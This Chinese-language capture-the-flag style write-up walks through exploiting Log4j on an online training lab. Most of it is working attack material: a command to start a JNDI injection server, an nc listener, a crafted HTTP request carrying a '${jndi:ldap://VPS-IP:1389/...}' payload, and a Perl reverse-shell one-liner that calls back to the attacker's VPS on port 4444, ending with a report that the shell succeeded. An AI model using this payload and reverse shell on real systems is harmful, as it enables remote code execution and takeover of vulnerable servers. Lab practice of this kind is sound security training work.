0x00、 log4j在线靶场 ---> 用户登录
0x01、使用到的工具
# burpsuite 、JNDI_NU v1.5.8、一台公网VPS服务器(JNDI_NU v1.5.8下载见下方地址,由nu1r师傅开发)
0x02 登录VPS运行JNDI及开启端口监听
①、命令窗口一、运行JNDI
java -jar JNDI-NU-1.4.5.jar -i +vpsip地址
②、命令窗口二、开启端口监听
nc -lvnp 4444
0x04、Burp抓包、改包、放包
POST—请求包:
POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d63bb2586.lab.aqlab.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cmd: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"VPS-IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Referer: http://d63bb2586.lab.aqlab.cn/hsperfdata_root
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=$%7bjndi:ldap://VPS-IP:1389/TomcatBypass/TomcatEcho%7d &password=1
放包后反弹shell成功:
反弹shell命令:perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"VPS-IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
payloads: $%7bjndi:ldap://VPS-IP:1389/TomcatBypass/TomcatEcho%7d